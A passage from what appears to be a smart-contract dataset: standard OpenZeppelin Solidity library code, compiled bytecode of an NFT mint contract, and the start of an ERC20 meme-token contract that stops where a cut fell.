https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c8063715018a6116100ec578063b8fc10511161008a578063d6c336ed11610064578063d6c336ed1461046c578063e985e9c514610481578063eb8d2444146104ca578063f2fde38b146104e457600080fd5b8063b8fc105114610417578063bb660c0a1461042c578063c87b56dd1461044c57600080fd5b806395d89b41116100c657806395d89b41146103af578063a0712d68146103c4578063a22cb465146103d7578063b88d4fde146103f757600080fd5b8063715018a6146103605780638d859f3e146103755780638da5cb5b1461039157600080fd5b806323b872dd1161015957806342842e0e1161013357806342842e0e146102e057806355f804b3146103005780636352211e1461032057806370a082311461034057600080fd5b806323b872dd1461029557806332cb6b0c146102b55780633ccfd60b146102cb57600080fd5b806301ffc9a7146101a157806302c88989146101d657806306fdde03146101f8578063081812fc1461021a578063095ea7b31461025257806318160ddd14610272575b600080fd5b3480156101ad57600080fd5b506101c16101bc36600461183e565b610504565b60405190151581526020015b60405180910390f35b3480156101e257600080fd5b506101f66101f1366004611870565b610556565b005b34801561020457600080fd5b5061020d61059c565b6040516101cd91906118e3565b34801561022657600080fd5b5061023a6102353660046118f6565b61062e565b6040516001600160a01b0390911681526020016101cd565b34801561025e57600080fd5b506101f661026d366004611926565b6106c3565b34801561027e57600080fd5b506102876107d9565b6040519081526020016101cd565b3480156102a157600080fd5b506101f66102b0366004611950565b6107e9565b3480156102c157600080fd5b5061028761138881565b3480156102d757600080fd5b506101f661081a565b3480156102ec57600080fd5b506101f66102fb366004611950565b610899565b34801561030c57600080fd5b506101f661031b366004611a18565b6108b4565b34801561032c57600080fd5b5061023a61033b3660046118f6565b6108f5565b34801561034c57600080fd5b5061028761035b366004611a61565b61096c565b34801561036c57600080fd5b506101f66109f3565b34801561038157600080fd5b5061028767013fbe85edc9000081565b34801561039d57600080fd5b506007546001600160a01b031661023a565b3480156103bb57600080fd5b5061020d610a29565b6101f66103d23660046118f6565b610a38565b3480156103e357600080fd5b506101f66103f2366004611a7c565b610cc8565b34801561040357600080fd5b506101f6610412366004611aaf565b610d8d565b34801561042357600080fd5b50610287601481565b34801561043857600080fd5b50610287610447366004611a61565b610dc5565b34801561045857600080fd5b5061020d6104673660046118f6565b610de9565b34801561047857600080fd5b50610287600a81565b34801561048d57600080fd5b506101c161049c366004611b2b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156104d657600080fd5b50600b546101c19060ff1681565b3480156104f057600080fd5b506101f66104ff366004611a61565b610ec4565b60006001600160e01b031982166380ac58cd60e01b148061053557506001600160e01b03198216635b5e139f60e01b145b8061055057506301ffc9a760e01b6001600160e01b03198316145b92915050565b6007546001600160a01b031633146105895760405162461bcd60e51b815260040161058090611b55565b60405180910390fd5b600b805460ff1916911515919091179055565b6060600080546105ab90611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546105d790611b8a565b80156106245780601f106105f957610100808354040283529160200191610624565b820191906000526020600020905b81548152906001019060200180831161060757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166106a75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610580565b506000908152600460205260409020546001600160a01b031690565b60006106ce826108f5565b9050806001600160a01b0316836001600160a01b0316141561073c5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610580565b336001600160a01b03821614806107585750610758813361049c565b6107ca5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610580565b6107d48383610f5f565b505050565b60006107e4600a5490565b905090565b6107f33382610fcd565b61080f5760405162461bcd60e51b815260040161058090611bc5565b6107d48383836110c4565b6002600654141561086d5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610580565b60026006554761089173f49d5d989c9bfc0c437517fded3444bd7b48a39582611264565b506001600655565b6107d483838360405180602001604052806000815250610d8d565b6007546001600160a01b031633146108de5760405162461bcd60e51b815260040161058090611b55565b80516108f190600c90602084019061178f565b5050565b6000818152600260205260408120546001600160a01b0316806105505760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610580565b60006001600160a01b0382166109d75760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610580565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b03163314610a1d5760405162461bcd60e51b815260040161058090611b55565b610a27600061137d565b565b6060600180546105ab90611b8a565b60026006541415610a8b5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610580565b60026006556007546001600160a01b03163314610aba5760405162461bcd60e51b815260040161058090611b55565b600b5460ff16610afe5760405162461bcd60e51b815260206004820152600f60248201526e53616c65206e6f742061637469766560881b6044820152606401610580565b80610b0833610dc5565b10610b1c57610b1733826113cf565b610b5d565b60405162461bcd60e51b8152602060048201526016602482015275135a5b9d1a5b99c81b1a5b5a5d08195e18d95959195960521b6044820152606401610580565b611388600182610b6b6107d9565b610b759190611c2c565b610b7f9190611c44565b10610bc15760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b6044820152606401610580565b6014811115610c125760405162461bcd60e51b815260206004820152601960248201527f4d696e74206174206d6f737420323020617420612074696d65000000000000006044820152606401610580565b610c248167013fbe85edc90000611c5b565b341015610c835760405162461bcd60e51b815260206004820152602760248201527f496e73756666696369656e74207061796d656e742c20302e30392045544820706044820152666572206974656d60c81b6064820152608401610580565b60005b81811015610cbf57610c9f33610c9a6107d9565b611400565b610cad600a80546001019055565b80610cb781611c7a565b915050610c86565b50506001600655565b6001600160a01b038216331415610d215760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610580565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610d973383610fcd565b610db35760405162461bcd60e51b815260040161058090611bc5565b610dbf84848484611542565b50505050565b6001600160a01b03811660009081526008602052604081205461055090600a611c44565b6000818152600260205260409020546060906001600160a01b0316610e685760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610580565b6000610e72611575565b90506000815111610e925760405180602001604052806000815250610ebd565b80610e9c84611584565b604051602001610ead929190611c95565b6040516020818303038152906040525b9392505050565b6007546001600160a01b03163314610eee5760405162461bcd60e51b815260040161058090611b55565b6001600160a01b038116610f535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610580565b610f5c8161137d565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610f94826108f5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166110465760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610580565b6000611051836108f5565b9050806001600160a01b0316846001600160a01b0316148061108c5750836001600160a01b03166110818461062e565b6001600160a01b0316145b806110bc57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166110d7826108f5565b6001600160a01b03161461113f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610580565b6001600160a01b0382166111a15760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610580565b6111ac600082610f5f565b6001600160a01b03831660009081526003602052604081208054600192906111d5908490611c44565b90915550506001600160a01b0382166000908152600360205260408120805460019290611203908490611c2c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b804710156112b45760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610580565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611301576040519150601f19603f3d011682016040523d82523d6000602084013e611306565b606091505b50509050806107d45760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610580565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260086020526040812080548392906113f7908490611c2c565b90915550505050565b6001600160a01b0382166114565760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610580565b6000818152600260205260409020546001600160a01b0316156114bb5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610580565b6001600160a01b03821660009081526003602052604081208054600192906114e4908490611c2c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b61154d8484846110c4565b61155984848484611682565b610dbf5760405162461bcd60e51b815260040161058090611cc4565b6060600c80546105ab90611b8a565b6060816115a85750506040805180820190915260018152600360fc1b602082015290565b8160005b81156115d257806115bc81611c7a565b91506115cb9050600a83611d2c565b91506115ac565b60008167ffffffffffffffff8111156115ed576115ed61198c565b6040519080825280601f01601f191660200182016040528015611617576020820181803683370190505b5090505b84156110bc5761162c600183611c44565b9150611639600a86611d40565b611644906030611c2c565b60f81b81838151811061165957611659611d54565b60200101906001600160f81b031916908160001a90535061167b600a86611d2c565b945061161b565b60006001600160a01b0384163b1561178457604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906116c6903390899088908890600401611d6a565b602060405180830381600087803b1580156116e057600080fd5b505af1925050508015611710575060408051601f3d908101601f1916820190925261170d91810190611da7565b60015b61176a573d80801561173e576040519150601f19603f3d011682016040523d82523d6000602084013e611743565b606091505b5080516117625760405162461bcd60e51b815260040161058090611cc4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506110bc565b506001949350505050565b82805461179b90611b8a565b90600052602060002090601f0160209004810192826117bd5760008555611803565b82601f106117d657805160ff1916838001178555611803565b82800160010185558215611803579182015b828111156118035782518255916020019190600101906117e8565b5061180f929150611813565b5090565b5b8082111561180f5760008155600101611814565b6001600160e01b031981168114610f5c57600080fd5b60006020828403121561185057600080fd5b8135610ebd81611828565b8035801515811461186b57600080fd5b919050565b60006020828403121561188257600080fd5b610ebd8261185b565b60005b838110156118a657818101518382015260200161188e565b83811115610dbf5750506000910152565b600081518084526118cf81602086016020860161188b565b601f01601f19169290920160200192915050565b602081526000610ebd60208301846118b7565b60006020828403121561190857600080fd5b5035919050565b80356001600160a01b038116811461186b57600080fd5b6000806040838503121561193957600080fd5b6119428361190f565b946020939093013593505050565b60008060006060848603121561196557600080fd5b61196e8461190f565b925061197c6020850161190f565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156119bd576119bd61198c565b604051601f8501601f19908116603f011681019082821181831017156119e5576119e561198c565b816040528093508581528686860111156119fe57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611a2a57600080fd5b813567ffffffffffffffff811115611a4157600080fd5b8201601f81018413611a5257600080fd5b6110bc848235602084016119a2565b600060208284031215611a7357600080fd5b610ebd8261190f565b60008060408385031215611a8f57600080fd5b611a988361190f565b9150611aa66020840161185b565b90509250929050565b60008060008060808587031215611ac557600080fd5b611ace8561190f565b9350611adc6020860161190f565b925060408501359150606085013567ffffffffffffffff811115611aff57600080fd5b8501601f81018713611b1057600080fd5b611b1f878235602084016119a2565b91505092959194509250565b60008060408385031215611b3e57600080fd5b611b478361190f565b9150611aa66020840161190f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611b9e57607f821691505b60208210811415611bbf57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611c3f57611c3f611c16565b500190565b600082821015611c5657611c56611c16565b500390565b6000816000190483118215151615611c7557611c75611c16565b500290565b6000600019821415611c8e57611c8e611c16565b5060010190565b60008351611ca781846020880161188b565b835190830190611cbb81836020880161188b565b01949350505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b600082611d3b57611d3b611d16565b500490565b600082611d4f57611d4f611d16565b500690565b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611d9d908301846118b7565b9695505050505050565b600060208284031215611db957600080fd5b8151610ebd8161182856fea26469706673582212201a3a9031ca57e43343f7600e932849affe9a2b04853ed0ae2de633a7d7fd6b6964736f6c63430008090033
[ 5 ]
0xf27089ca2f13a0bdccdb91f296c149042039543e
/** TOYOTOMI INU!! Telegram: https://t.me/ToyotomiInu Website: toyotomiinu.com */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); 